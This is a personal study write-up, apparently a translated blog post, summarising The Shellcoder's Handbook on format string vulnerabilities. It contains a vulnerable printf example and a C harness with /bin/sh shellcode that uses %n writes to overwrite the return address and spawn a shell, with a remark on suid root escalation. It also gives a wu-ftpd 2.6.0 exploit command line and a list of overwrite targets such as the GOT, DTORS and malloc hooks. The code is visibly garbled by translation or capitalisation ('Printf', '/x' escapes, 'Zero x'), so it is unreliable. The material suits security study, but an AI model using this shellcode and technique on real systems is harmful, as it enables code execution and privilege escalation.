Shellcode 4: formatting String Vulnerability

 

Statement: The main content is from The Shellcoder's Handbook, which extracts Important Notes and adds some personal understanding. If there is something wrong, be sure to point it out.

 

Formatting String Vulnerability

 

When the formatting string of the printf series functions contains the data submitted by the user, the formatting string vulnerability may occur. Attackers may submit many formatting characters (but do not provide corresponding variables), so that there is no parameter relative to the format character on the stack, therefore, the system will replace this parameter with other data on the stack, resulting in information leakage and execution of the specified code.

 

The following procedure is used as an example:

 

// File: fmt. c

 

# Include <stdio. h>

 

Int main (int argc, char * argv [])

{

If (argc! = 2) return 1;

Printf (argv [1]);

Printf ("/n ");

Return 0;

}

 

Sep @ debian66 :~ /Shellcode $ cc-o fmt. c

Fmt. c: 13: 2: warning: no newline at end of file

Sep @ debian66 :~ /Shellcode $./fmt "% x"

Bfefb1_bfefb1a8 bfefb1b0 b7e66c8c

Sep @ debian66 :~ /Shellcode $

Compile, run, and printf retrieves four data-filled outputs from the stack. This provides us with the possibility that attackers may use it to obtain data on the stack, which means that the stack itself may be sensitive information, such as the user name and password. If you submit multiple % x format characters, you can learn more data on the stack. [Question: we know that the data comes from the stack, but where is the stack? Is it the location of the current ESP ?]

 

Conversion format characters: d, I, o, u, x are used for integers, e, f, g, and a are used for floating point numbers, and c are used for characters. Pay special attention to the following two:

S -- this parameter is regarded as a pointer to a string and will output the parameter in the form of a string;

N -- this parameter is regarded as a pointer to an integer (including int, short, and char). The number of characters output before this parameter will be saved to the address pointed to by this parameter.

 

The % n format operator uses its parameters as the memory address and writes the number of characters output earlier to that address. This means that we have the opportunity to rewrite the data in a memory address to control program execution. If the following conditions are met, you can use the formatting string vulnerability to execute arbitrary code:

1. We can control the % n parameter and write the number of output characters into the specified area of the memory;

2. The width format character can be any length (in fact, it can be up to 255 characters) to fill the output. Therefore, the length of a string can be used to rewrite a single byte;

3. Repeat the preceding step 4 to rewrite any 4B in the memory. That is to say, attackers can use this method to rewrite the memory address;

4. We can guess the address of the function pointer (saved return address RET, binary file import table, c ++ vatable, etc ), therefore, the system can execute the submitted string as code.

 

I wrote a program like this to use printf to fill in the shellcode address with RET:

 

// File: fmt2.c

// Cc-o fmt2 fmt2.c-mpreferred-stack-boundary = 2

 

# Include <stdio. h>

 

Char shellcode [] = "/xeb/x1a/x5e/x31"

"/Xc0/x88/x46/x07"

"/X8d/x1e/x89/x5e"

"/X08/x89/x46/x0c"

"/Xb0/x0b/x89/xf3"

"/X8d/x4e/x08/x8d"

"/X56/x0c/xcd/x80"

"/Xe8/xe1/xff"

"/Xff/x2f/x62/x69"

"/X6e/x2f/x73/x68 ";

Int main ()

{

Int * ret;

Ret = (int *) & ret + 2;

Printf ("% p/n", shellcode );

Printf ("% 0 * d % n/n", (int) shellcode & 0xff, 0, (char *) ret );

Printf ("% 0 * d % n/n", (int) shellcode> 8) & 0xff, 0, (char *) ret + 1 );

Printf ("% 0 * d % n/n", (int) shellcode> 16) & 0xff, 0, (char *) ret + 2 );

Printf ("% 0 * d % n/n", (int) shellcode> 24) & 0xff, 0, (char *) ret + 3 );

}

 

Note: printf ("% 0 * d % n/n", (int) shellcode & 0xff, 0, (char *) ret); statement, * is used to dynamically specify the output width, with the % n parameter, you can enter the shellcode address in the memory address we want.

Compile and run

 

Sep @ debian66 :~ /Shellcode $ cc-o fmt2 fmt2.c-mpreferred-stack-boundary = 2

Sep @ debian66 :~ /Shellcode $./fmt2

Zero x 8049680

00000000000000000000000000000000000000000000000000000000000000 .. 0 <0x80 0>

00000000000000000000000000000000000000000000000000000000000000 .. 0 <0x96 0>

0000

00000000

Sh-3.1 $

 

Get a shell that proves that fmt2 does run shellcode after exiting. If the owner of fmt2 is root and suid is opened, the derived shell inherits the root privilege.

Using the formatting string vulnerability, the book uses wu-ftpd 2.6.0 as an example to describe how to cause a service crash and obtain data in the memory.

 

 

Control Program Execution

The book still uses wu-ftpd 2.6.0 as an example to show how to use the printf vulnerability to let the program execute our shellcode. The process is still quite complex, need to install redhat9.0 + wu-ftpd2.6.0 to practice once.

It is hard to understand the following points in the book:

 

./Dowu localhost $'/x41/x41/x41/x41% 272 $ n' 1

If you use gdb to track the execution of wu-ftp, you will see that the process is trying to write 0x0000000a to the address 0x41414141.

 

For /dowu localhost $'/x41/x41/x41/x41% 272 $ n' 1 ", in wu-ftpd, the statement "site index $'/x41/x41/x41/x41% 272 $ N'" is displayed. 272 $ is to use the site index to pop up the 272nd values on the stack (here, 272 is the header 4b of the string itself, that is,/x41/x41/x41/x41, that is, AAAA ). The system uses the pop-up AAAA (0x41414141) as the % n parameter, and the length of the string "/x41/x41/x41/x41% 272 $ n" is 0xa, therefore, printf will write 0xa to address 0x41414141. To understand this, there is no doubt about it. You can use the padding byte to increase the length of the string, as shown in. /dowu localhost $'/x41/x41/x41/x41% 50000x % 272 $ n' 1 Write 0xc35a (50000 + 10) to address 0x4141414141.

 

0x41414141 is the address selected to verify our ideas. In practice, you should select a meaningful address, which can be selected from multiple targets:

1. Save the returned address (Stack Overflow, using information leakage to determine the location of the returned address );

2. Global Offset Table (GOT), dynamic relocation function;

3. destructor table (DTORS );

4/C function library hooks, such as malloc_hook, realloc_hook, and free_hook;

5/atexit structure;

6. All other function pointers, such as C ++ vtables and callback functions;

7. The default unhandled exception handler in Windows is almost always at the same address.

 

Let's take a look at the GOT in. ftpd:

Objdump-R/usr/sbin/in. ftpd

...

0806d3b0 r_1__jump_slot printf

...

 

We can modify the address stored in 0806d3b0 to redirect the execution process of the program. After the address saved in 0806d3b0 is modified using the format string, wu-ftpd wants to execute printf to execute the specified code. Next, how to upload shellcode to the GOT address space, see the original book P64.

Wuftpd2600.c is the most popular cracking vulnerability for wu-ftpd.

 

Technical overview of formatting strings

 

Format String parameters:

1.% s can be used to read memory data from the target process;

2. Use % n to write the output String Length to any address;

3. The available width modifier modifies the number of output characters;

4. The % hn modifier can be used to write 16-bit values each time.

 

Direct parameter access allows you to reuse the stack parameters in the same formatted string for multiple times.

Parameters of interest. Direct parameter access includes the use of the $ modifier, for example:

% 272 $ x

The 272nd parameters on the stack are displayed. This is an important technique.

 

From AZURE